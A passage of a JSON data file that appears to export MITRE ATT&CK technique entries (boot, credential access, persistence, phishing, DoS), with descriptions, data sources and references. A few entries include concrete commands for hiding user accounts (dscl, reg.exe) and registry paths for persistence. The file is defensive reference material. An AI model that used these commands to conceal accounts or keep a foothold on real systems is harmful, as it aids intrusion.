"description": "Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.\n\nAdversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)",
"meta": {
"external_id": "T1542.005",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Command: Command Execution",
"Firmware: Firmware Modification",
"Network Traffic: Network Connection Creation"
],
"mitre_platforms": [
"Network"
],
"refs": [
"https://attack.mitre.org/techniques/T1542/005",
"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954",
"https://tools.cisco.com/security/center/resources/integrity_assurance.html#13",
"https://tools.cisco.com/security/center/resources/integrity_assurance.html#23",
"https://tools.cisco.com/security/center/resources/integrity_assurance.html#26",
"https://tools.cisco.com/security/center/resources/integrity_assurance.html#35",
"https://tools.cisco.com/security/center/resources/integrity_assurance.html#7"
]
},
"related": [
{
"dest-uuid": "7f0ca133-88c4-40c6-a62f-b3083a7fbc2e",
"type": "subtechnique-of"
}
],
"uuid": "28abec6c-4443-4b03-8206-07f2e264a6b4",
"value": "TFTP Boot - T1542.005"
},
{
"description": "Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. \n\nAdversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)\n\nSome private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.",
"meta": {
"external_id": "T1552.004",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Access"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1552/004",
"https://en.wikipedia.org/wiki/Public-key_cryptography",
"https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf",
"https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/"
]
},
"related": [
{
"dest-uuid": "435dfb86-2697-4867-85b5-2fef496c0517",
"type": "subtechnique-of"
}
],
"uuid": "60b508a1-6a5e-46b1-821a-9f7b78752abf",
"value": "Private Keys - T1552.004"
},
{
"description": "Adversaries may use hidden users to mask the presence of user accounts they create or modify. Normal users may want to hide users when there are many users accounts on a given system or want to keep an account hidden from the other users on the system.\n\nIn macOS, every user account has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. When using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 (ex: sudo dscl . -create /Users/username UniqueID 401) and enabling this property (setting it to Yes), an adversary can conceal user accounts. (Citation: Cybereason OSX Pirrit)\n\nIn Windows, adversaries may hide user accounts via settings in the Registry. For example, an adversary may add a value to the Windows Registry (via [Reg](https://attack.mitre.org/software/S0075) or other means) that will hide the user “test” from the Windows login screen: reg.exe ADD 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccountsUserList' /v test /t REG_DWORD /d 0 /f.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)",
"meta": {
"external_id": "T1564.002",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Modification",
"Process: Process Creation",
"User Account: User Account Creation",
"User Account: User Account Metadata",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"macOS",
"Windows"
],
"refs": [
"http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf",
"https://attack.mitre.org/techniques/T1564/002",
"https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html",
"https://www.us-cert.gov/ncas/alerts/TA18-074A"
]
},
"related": [
{
"dest-uuid": "22905430-4901-4c2a-84f6-98243cb173f8",
"type": "subtechnique-of"
}
],
"uuid": "8c4aef43-48d5-49aa-b2af-c0cd58d30c3d",
"value": "Hidden Users - T1564.002"
},
{
"description": "Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ with the key value of \"Authentication Packages\"=<target binary>. The binary will then be executed by the system when the authentication packages are loaded.",
"meta": {
"external_id": "T1547.002",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Command: Command Execution",
"Module: Module Load",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html",
"https://attack.mitre.org/techniques/T1547/002",
"https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx",
"https://technet.microsoft.com/en-us/library/dn408187.aspx"
]
},
"related": [
{
"dest-uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf",
"type": "subtechnique-of"
}
],
"uuid": "b8cfed42-6a8a-4989-ad72-541af74475ec",
"value": "Authentication Package - T1547.002"
},
{
"description": "Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.\n\nBy compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)",
"meta": {
"external_id": "T1584.002",
"kill_chain": [
"mitre-attack:resource-development"
],
"mitre_data_sources": [
"Domain Name: Active DNS",
"Domain Name: Passive DNS"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1584/002",
"https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html",
"https://blogs.cisco.com/security/talos/angler-domain-shadowing",
"https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html",
"https://www.proofpoint.com/us/threat-insight/post/The-Shadow-Knows"
]
},
"related": [
{
"dest-uuid": "7e3beebd-8bfe-4e7b-a892-e44ab06a75f9",
"type": "subtechnique-of"
}
],
"uuid": "c2f59d25-87fe-44aa-8f83-e8e59d077bf5",
"value": "DNS Server - T1584.002"
},
{
"description": "Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
"meta": {
"external_id": "T1592.004",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_data_sources": [
"Internet Scan: Response Content"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1592/004",
"https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks",
"https://threatconnect.com/blog/infrastructure-research-hunting/"
]
},
"related": [
{
"dest-uuid": "09312b1a-c3c6-4b45-9844-3ccc78e5d82f",
"type": "subtechnique-of"
}
],
"uuid": "774ad5bb-2366-4c13-a8a9-65e50b292e7c",
"value": "Client Configurations - T1592.004"
},
{
"description": "Adversaries may attempt to cause a denial of service by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflector may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017)\n\nReflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)",
"meta": {
"external_id": "CAPEC-490",
"kill_chain": [
"mitre-attack:impact"
],
"mitre_data_sources": [
"Network Traffic: Network Traffic Flow",
"Sensor Health: Host Status"
],
"mitre_platforms": [
"Windows",
"Azure AD",
"Office 365",
"SaaS",
"IaaS",
"Linux",
"macOS",
"Google Workspace"
],
"refs": [
"https://attack.mitre.org/techniques/T1498/002",
"https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/",
"https://blog.cloudflare.com/reflections-on-reflections/",
"https://capec.mitre.org/data/definitions/490.html",
"https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf",
"https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf",
"https://www.cloudflare.com/learning/ddos/dns-amplification-ddos-attack/",
"https://www.cloudflare.com/learning/ddos/ntp-amplification-ddos-attack/"
]
},
"related": [
{
"dest-uuid": "d74c4a7e-ffbf-432f-9365-7ebf1f787cab",
"type": "subtechnique-of"
}
],
"uuid": "36b2a1d7-e09e-49bf-b45e-477076c2ec01",
"value": "Reflection Amplification - T1498.002"
},
{
"description": "An adversary may obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain) (Citation: OSX Keydnap malware)\n\nIn OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password.(Citation: OS X Keychain)",
"meta": {
"external_id": "T1555.002",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Access"
],
"mitre_platforms": [
"Linux",
"macOS"
],
"refs": [
"http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain",
"http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way",
"https://attack.mitre.org/techniques/T1555/002",
"https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
]
},
"related": [
{
"dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0",
"type": "subtechnique-of"
}
],
"uuid": "1a80d097-54df-41d8-9d33-34e755ec5e72",
"value": "Securityd Memory - T1555.002"
},
{
"description": "Adversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.(Citation: Docker API)(Citation: Kubernetes API)\n\nAn adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment.(Citation: Unit 42 Unsecured Docker Daemons) An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components. ",
"meta": {
"external_id": "T1552.007",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Access",
"User Account: User Account Authentication"
],
"mitre_platforms": [
"Containers"
],
"refs": [
"https://attack.mitre.org/techniques/T1552/007",
"https://docs.docker.com/engine/api/v1.41/",
"https://kubernetes.io/docs/concepts/overview/kubernetes-api/",
"https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/"
]
},
"related": [
{
"dest-uuid": "435dfb86-2697-4867-85b5-2fef496c0517",
"type": "subtechnique-of"
}
],
"uuid": "f8ef3a62-3f44-40a4-abca-761ab235c436",
"value": "Container API - T1552.007"
},
{
"description": "Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) Adversaries may also take steps to cultivate a persona around the email account, such as through use of [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001), to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).(Citation: Mandiant APT1)\n\nTo decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.(Citation: Trend Micro R980 2016)",
"meta": {
"external_id": "T1585.002",
"kill_chain": [
"mitre-attack:resource-development"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1585/002",
"https://blog.trendmicro.com/trendlabs-security-intelligence/r980-ransomware-disposable-email-service/",
"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
]
},
"related": [
{
"dest-uuid": "cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8",
"type": "subtechnique-of"
}
],
"uuid": "65013dd2-bc61-43e3-afb5-a14c4fa7437a",
"value": "Email Accounts - T1585.002"
},
{
"description": "Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets)\n\nSilver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets)\n\nPassword hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).",
"meta": {
"external_id": "T1558.002",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Logon Session: Logon Session Metadata"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://adsecurity.org/?p=1515",
"https://adsecurity.org/?p=2011",
"https://attack.mitre.org/techniques/T1558/002",
"https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea"
]
},
"related": [
{
"dest-uuid": "3fc01293-ef5e-41c6-86ce-61f10706b64a",
"type": "subtechnique-of"
}
],
"uuid": "d273434a-448e-4598-8e14-607f4a0d5e27",
"value": "Silver Ticket - T1558.002"
},
{
"description": "Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use.\n\nThese scans may also include more broad attempts to [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592) that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.(Citation: OWASP Vuln Scanning) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).",
"meta": {
"external_id": "T1595.002",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_data_sources": [
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1595/002",
"https://wiki.owasp.org/index.php/OAT-014_Vulnerability_Scanning"
]
},
"related": [
{
"dest-uuid": "67073dde-d720-45ae-83da-b12d5e73ca3b",
"type": "subtechnique-of"
}
],
"uuid": "5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4",
"value": "Vulnerability Scanning - T1595.002"
},
{
"description": "An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1059/001) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).\n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the [PowerShell](https://attack.mitre.org/techniques/T1059/001) Set-EtwTraceProvider cmdlet or by interfacing directly with the Registry to make alterations.\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products. ",
"meta": {
"external_id": "CAPEC-571",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"Sensor Health: Host Status",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows",
"macOS",
"Linux"
],
"refs": [
"https://attack.mitre.org/techniques/T1562/006",
"https://capec.mitre.org/data/definitions/571.html",
"https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events",
"https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63",
"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A"
]
},
"related": [
{
"dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529",
"type": "subtechnique-of"
}
],
"uuid": "74d2a63f-3c7b-4852-92da-02d8fbab16da",
"value": "Indicator Blocking - T1562.006"
},
{
"description": "Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)",
"meta": {
"external_id": "CAPEC-163",
"kill_chain": [
"mitre-attack:initial-access"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows",
"Office 365",
"SaaS",
"Google Workspace"
],
"refs": [
"https://attack.mitre.org/techniques/T1566/002",
"https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks",
"https://capec.mitre.org/data/definitions/163.html",
"https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide",
"https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"
]
},
"related": [
{
"dest-uuid": "a62a8db3-f23a-4d8f-afd6-9dbc77e7813b",
"type": "subtechnique-of"
}
],
"uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7",
"value": "Spearphishing Link - T1566.002"
},
{
"description": "Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566). Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).\n\nA variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nAdversaries can use a compromised email account to hijack existing email threads with targets of interest.",
"meta": {
"external_id": "T1586.002",
"kill_chain": [
"mitre-attack:resource-development"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/",
"https://attack.mitre.org/techniques/T1586/002"
]
},
"related": [
{
"dest-uuid": "81033c3b-16a4-46e4-8fed-9b030dd03c4a",
"type": "subtechnique-of"
}
],
"uuid": "3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b",
"value": "Email Accounts - T1586.002"
},
{
"description": "Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and [Net](https://attack.mitre.org/software/S0039).\n\n[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as [PsExec](https://attack.mitre.org/software/S0029) and sc.exe can accept remote servers as arguments and may be used to conduct remote execution.\n\nAdversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.",
"meta": {
"external_id": "T1569.002",
"kill_chain": [
"mitre-attack:execution"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation",
"Service: Service Creation",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1569/002",
"https://docs.microsoft.com/windows/win32/services/service-control-manager",
"https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx"
]
},
"related": [
{
"dest-uuid": "d157f9d2-d09a-4efa-bb2a-64963f94e253",
"type": "subtechnique-of"
}
],
"uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4",
"value": "Service Execution - T1569.002"
},
{
"description": "Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees.\n\nAdversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: HackersArise Email)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",
"meta": {
"external_id": "T1589.002",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1589/002",
"https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/",
"https://www.hackers-arise.com/email-scraping-and-maltego"
]
},
"related": [
{
"dest-uuid": "5282dd9a-d26d-4e16-88b7-7c0f4553daf4",
"type": "subtechnique-of"
}
],
"uuid": "69f897fd-12a9-4c89-ad6a-46d2f3c38262",
"value": "Email Addresses - T1589.002"
},
{
"description": "Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon the recipient populating information then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery) The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.",
"meta": {
"external_id": "T1598.002",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1598/002",
"https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide",
"https://github.com/ryhanson/phishery",
"https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/",
"https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"
]
},
"related": [
{
"dest-uuid": "cca0ccb6-a068-4574-a722-b1556f86833a",
"type": "subtechnique-of"
}
],
"uuid": "8982a661-d84c-48c0-b4ec-1db29c6cf3bc",
"value": "Spearphishing Attachment - T1598.002"
},
{
"description": "Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075). \n\nAdversaries may install a new service or modify an existing service by using system utilities to interact with services, by directly modifying the Registry, or by using custom tools to interact with the Windows API. Adversaries may configure services to execute at startup in order to persist on a system.\n\nAn adversary may also incorporate [Masquerading](https://attack.mitre.org/techniques/T1036) by using a service name from a related operating system or benign software, or by modifying existing services to make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used. \n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002). ",
"meta": {
"external_id": "CAPEC-551",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: OS API Execution",
"Process: Process Creation",
"Service: Service Creation",
"Service: Service Modification",
"Windows Registry: Windows Registry Key Creation",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows"
],
"refs": [
